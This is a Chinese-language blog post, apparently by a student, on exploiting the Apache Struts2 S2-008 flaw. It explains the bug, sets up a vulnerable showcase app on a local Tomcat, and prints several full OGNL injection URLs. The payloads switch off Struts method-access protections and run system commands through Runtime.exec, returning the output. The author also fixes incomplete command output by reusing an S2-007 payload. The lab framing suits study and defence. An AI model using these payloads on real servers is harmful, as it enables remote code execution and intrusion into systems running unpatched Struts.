Struts-S2-008漏洞利用,解决网上大部分POC部分命令执行不完全问题(含POC,含环境搭建)

96
心如水_0b05
2017.07.24 23:21* 字数 1284

struts-s2-008

此文仅供大家交流学习,严禁非法使用

解决网上大部分POC部分命令不能执行的问题

一、参考网址:

https://www.waitalone.cn/struts2-command-exp.html

http://www.freebuf.com/articles/web/25337.html

二、 影响版本:

Struts 2.1.0 - Struts 2.3.1

三、 漏洞介绍:

为了防止攻击者在参数中调用任意方法,标志xwork.MethodAccessor.denyMethodExecution被设置为true,并且SecurityMemberAccess字段默认allowStaticMethodAccess设置为false。另外,为了防止对上下文变量的访问,在ParameterInterceptorStruts 2.2.1.1中应用了改进的参数名称白名单:

acceptedParamNames = "[a-zA-Z0-9.][()_']+";

在某些情况下,可以绕过这些限制来执行恶意Java代码。

Struts****中的远程命令执行****<= 2.2.1.1****(****ExceptionDelegator****)
当将参数值应用于属性时发生异常时,该值将被评估为OGNL表达式。例如,当将字符串值设置为整数属性时,会发生这种情况。由于这些值不被过滤,攻击者可能会滥用OGNL语言的强大功能来执行任意Java代码,从而导致远程命令执行。已报告此问题(https://issues.apache.org/jira/browse/WW-3668),并在Struts 2.2.3.1中修复。然而,执行任意Java代码的能力已被忽视。

Struts****中的远程命令执行****<= 2.3.1****(****CookieInterceptor****)
参数名称的字符白名单不适用于CookieInterceptor。当Struts配置为处理cookie名称时,攻击者可以使用静态方法访问Java函数来执行任意系统命令。因此,allowStaticMethodAccess可以在请求中将该标志设置为true。

Struts****中的任意文件覆盖****<= 2.3.1****(****ParameterInterceptor****)由于Struts 2.2.3.1攻击者仍然可以访问公共构造函数,只能使用一个String类型的参数来创建新的Java对象并仅使用其设置器访问参数中
的标志allowStaticMethodAccessString类型的一个参数。例如,这可以被滥用来创建和覆盖任意文件。要将禁止的字符注入文件名,可以使用未初始化的字符串属性。

Struts****中的远程命令执行****<= 2.3.1****(****DebuggingInterceptor****)
虽然本身不​​是安全漏洞,但请注意,以开发人员模式运行并使用的应用程序DebuggingInterceptor也易于执行远程命令。尽管应用程序在生产过程中永远不应该在开发人员模式下运行,但开发人员应该意识到,这样做不仅会带来性能问题(如记录在案),而且也是关键的安全影响。

即S2-007,参考上一篇文档

ookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。

对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,此种利用方法在S2-009中提出,S2-008中只提出了二进制文件覆盖的方法。

struts2配置中开启debug调试模式,直接传入ongl表达式执行。

命令执行EXP:exp.action?debug=command&expression=…

四、 环境搭建:

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

2.1.6_1.png

2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
2.1.6_4.png
  • 已成功自动部署
2.1.6_5.png

五、打开struts.xml

devmode.png

保证<constant name="struts.devMode" value="true" />

六、POC

3的POC

exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

但并不知道该如何使用
希望大家能指导指导

4的POC

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

七、原始网址为

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action

八、更改后为

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

出现下载框


1.png

使用notepad++打开看到


2.png

九、发现问题并修改

但发现一个问题,在运行时ipconfig时只出现windows ip,没有后面的实质性内容,测试过各种方法不能奏效,网上大部分poc相同,束手无策之时想到最近写struts2漏洞的poc大致相同,又考虑到此漏洞commond直接就可以执行,于是我将S2-007的POC搬了过来,奇迹发生了

原网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

添加构造

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=

添加S2-007的POC

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

执行结果


3.png

注意修改res大小,详情参照我的S2-007教程

成功执行

十、至此,这个漏洞基本利用完毕。

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

日记本